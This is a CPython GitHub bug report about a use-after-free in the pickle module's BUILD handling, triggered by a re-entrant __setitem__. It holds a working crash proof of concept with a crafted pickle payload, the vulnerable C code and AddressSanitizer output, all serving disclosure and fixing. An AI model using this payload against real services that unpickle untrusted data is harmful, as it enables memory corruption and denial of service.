Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Use-after-free in pickle BUILD via re-entrant__setitem__ #143638

Closed
Assignees
serhiy-storchaka
Labels
3.13bugs and security fixes3.14bugs and security fixes3.15new features, bugs and security fixesextension-modulesC modules in the Modules dirstdlibStandard Library Python modules in the Lib/ directorytype-crashA hard crash of the interpreter, possibly with a core dump
@jackfromeast

Description

@jackfromeast

What happened?

The defaultload_build path writes state entries withPyObject_SetItem, so a malicious__setitem__ can re-enter_pickle.Unpickler.load. The nested load clears the unpickler stack withPdata_clear, dropping the only reference to the instance under construction. When the outer BUILD resumes and callsPyObject_SetAttr to apply slot state, it dereferences the freed instance and crashes with a heap use-after-free.

Proof of Concept:

importioimport_picklePAYLOAD=b'\x80\x05c__main__\nVictim\n)R}(\x8c\x01aK\x01\x8c\x01bK\x02u}\x8c\x04slotK\x03s\x86b.'current=NoneclassTrap(dict):def__setitem__(self,key,value):ifnothasattr(self,"_tripped"):self._tripped=Truetry:current.load()exceptException:passsuper().__setitem__(key,value)classVictim:__slots__= ("__dict__","slot")def__init__(self):self.__dict__=Trap()self.slot=Nonecurrent=_pickle.Unpickler(io.BytesIO(PAYLOAD))current.load()

Vulnerable Code Snippet:

Click to expand
/* Buggy Re-entrant Path */staticPyObject*_pickle_Unpickler_load_impl(UnpicklerObject*self,PyTypeObject*cls){PickleState*st=_Pickle_GetStateByClass(cls);/* ... */returnload(st,self);}staticintload_build(PickleState*st,UnpicklerObject*self){PyObject*inst,*slotstate;/* ... */inst=self->stack->data[Py_SIZE(self->stack)-1];/* crashing pointer derived *//* ... */while (PyDict_Next(state,&i,&d_key,&d_value)) {/* ... */if (PyObject_SetItem(dict,d_key,d_value)<0) {/* Reentrant call site *//* ... */            gotoerror;        }/* ... */    }if (slotstate!=NULL) {while (PyDict_Next(slotstate,&i,&d_key,&d_value)) {if (PyObject_SetAttr(inst,d_key,d_value)<0)/* Crash site */                gotoerror;        }    }/* ... */returnstatus;}/* Clobbering Path */staticPyObject*load(PickleState*st,UnpicklerObject*self){if (Py_SIZE(self->stack))Pdata_clear(self->stack,0);/* ... */returnNULL;}staticintPdata_clear(Pdata*self,Py_ssize_tclearto){Py_ssize_ti=Py_SIZE(self);/* ... */while (--i >=clearto) {Py_CLEAR(self->data[i]);/* state mutate site */    }Py_SET_SIZE(self,clearto);return0;}

Sanitizer Output:

Click to expand
===================================================================317223==ERROR: AddressSanitizer: heap-use-after-free on address 0x504000071da8 at pc 0x598a2c6c0c17 bp 0x7ffe89222130 sp 0x7ffe89222120READ of size 8 at 0x504000071da8 thread T0    #0 0x598a2c6c0c16 in _Py_TYPE Include/object.h:277    #1 0x598a2c6c0c16 in PyObject_SetAttr Objects/object.c:1463    #2 0x7c60633d95c5 in load_build Modules/_pickle.c:6767    #3 0x7c60633e6307 in load Modules/_pickle.c:6960    #4 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #5 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327    #6 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #7 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #8 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001    #9 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884    #10 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365    #11 0x598a2ca6516e in run_mod Python/pythonrun.c:1459    #12 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293    #13 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521    #14 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81    #15 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410    #16 0x598a2cadde3c in pymain_run_file Modules/main.c:429    #17 0x598a2cadde3c in pymain_run_python Modules/main.c:691    #18 0x598a2cadf71e in Py_RunMain Modules/main.c:772    #19 0x598a2cadf71e in pymain_main Modules/main.c:802    #20 0x598a2cadf71e in Py_BytesMain Modules/main.c:826    #21 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #22 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360    #23 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)0x504000071da8 is located 24 bytes inside of 48-byte region [0x504000071d90,0x504000071dc0)freed by thread T0 here:    #0 0x7c6063cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52    #1 0x598a2c7328f3 in subtype_dealloc Objects/typeobject.c:2852    #2 0x598a2c6be1d8 in _Py_Dealloc Objects/object.c:3200    #3 0x7c60633e254b in Py_DECREF Include/refcount.h:418    #4 0x7c60633e254b in Pdata_clear Modules/_pickle.c:480    #5 0x7c60633e254b in load Modules/_pickle.c:6892    #6 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #7 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327    #8 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #9 0x598a2c9202a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #10 0x598a2c9202a5 in _PyEval_Vector Python/ceval.c:2001    #11 0x598a2c7606e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #12 0x598a2c7606e7 in vectorcall_unbound Objects/typeobject.c:3033    #13 0x598a2c7606e7 in vectorcall_method Objects/typeobject.c:3104    #14 0x598a2c7606e7 in slot_mp_ass_subscript Objects/typeobject.c:10386    #15 0x7c60633d90a3 in load_build Modules/_pickle.c:6745    #16 0x7c60633e6307 in load Modules/_pickle.c:6960    #17 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #18 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327    #19 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #20 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #21 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001    #22 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884    #23 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365    #24 0x598a2ca6516e in run_mod Python/pythonrun.c:1459    #25 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293    #26 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521    #27 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81    #28 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410    #29 0x598a2cadde3c in pymain_run_file Modules/main.c:429    #30 0x598a2cadde3c in pymain_run_python Modules/main.c:691    #31 0x598a2cadf71e in Py_RunMain Modules/main.c:772    #32 0x598a2cadf71e in pymain_main Modules/main.c:802    #33 0x598a2cadf71e in Py_BytesMain Modules/main.c:826    #34 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #35 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360    #36 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)previously allocated by thread T0 here:    #0 0x7c6063cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69    #1 0x598a2c74688e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46    #2 0x598a2c74688e in _PyType_AllocNoTrack Objects/typeobject.c:2504    #3 0x598a2c746af4 in PyType_GenericAlloc Objects/typeobject.c:2535    #4 0x598a2c73e118 in type_call Objects/typeobject.c:2448    #5 0x598a2c5a1bb4 in _PyObject_Call Objects/call.c:361    #6 0x598a2c5a1bb4 in PyObject_CallObject Objects/call.c:472    #7 0x7c60633e4d77 in load_reduce Modules/_pickle.c:6821    #8 0x7c60633e4d77 in load Modules/_pickle.c:6976    #9 0x598a2c5a13e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169    #10 0x598a2c5a13e7 in PyObject_Vectorcall Objects/call.c:327    #11 0x598a2c45df33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620    #12 0x598a2c91fad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121    #13 0x598a2c91fad6 in _PyEval_Vector Python/ceval.c:2001    #14 0x598a2c91fad6 in PyEval_EvalCode Python/ceval.c:884    #15 0x598a2ca6516e in run_eval_code_obj Python/pythonrun.c:1365    #16 0x598a2ca6516e in run_mod Python/pythonrun.c:1459    #17 0x598a2ca69e17 in pyrun_file Python/pythonrun.c:1293    #18 0x598a2ca69e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521    #19 0x598a2ca6a93c in _PyRun_AnyFileObject Python/pythonrun.c:81    #20 0x598a2cadde3c in pymain_run_file_obj Modules/main.c:410    #21 0x598a2cadde3c in pymain_run_file Modules/main.c:429    #22 0x598a2cadde3c in pymain_run_python Modules/main.c:691    #23 0x598a2cadf71e in Py_RunMain Modules/main.c:772    #24 0x598a2cadf71e in pymain_main Modules/main.c:802    #25 0x598a2cadf71e in Py_BytesMain Modules/main.c:826    #26 0x7c606382a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #27 0x7c606382a28a in __libc_start_main_impl ../csu/libc-start.c:360    #28 0x598a2c479634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPEShadow bytes around the buggy address:  0x504000071b00: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa  0x504000071b80: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa  0x504000071c00: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd  0x504000071c80: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd  0x504000071d00: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 07=>0x504000071d80: fa fa fd fd fd[fd]fd fd fa fa fd fd fd fd fd fa  0x504000071e00: fa fa 00 00 00 00 00 05 fa fa fd fd fd fd fd fd  0x504000071e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  0x504000071f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  0x504000071f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  0x504000072000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa faShadow byte legend (one shadow byte represents 8 application bytes):  Addressable:           00  Partially addressable: 01 02 03 04 05 06 07   Heap left redzone:       fa  Freed heap region:       fd  Stack left redzone:      f1  Stack mid redzone:       f2  Stack right redzone:     f3  Stack after return:      f5  Stack use after scope:   f8  Global redzone:          f9  Global init order:       f6  Poisoned by user:        f7  Container overflow:      fc  Array cookie:            ac  Intra object redzone:    bb  ASan internal:           fe  Left alloca redzone:     ca  Right alloca redzone:    cb==317223==ABORTING

CPython versions tested on:

Details
Python VersionStatusExit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20)ASAN1
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)]ASAN1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]ASAN1

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]

Linked PRs

Metadata

Metadata

Labels

3.13bugs and security fixes3.14bugs and security fixes3.15new features, bugs and security fixesextension-modulesC modules in the Modules dirstdlibStandard Library Python modules in the Lib/ directorytype-crashA hard crash of the interpreter, possibly with a core dump

Projects

Status

Done

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions


    [8]ページ先頭

    ©2009-2026 Movatter.jp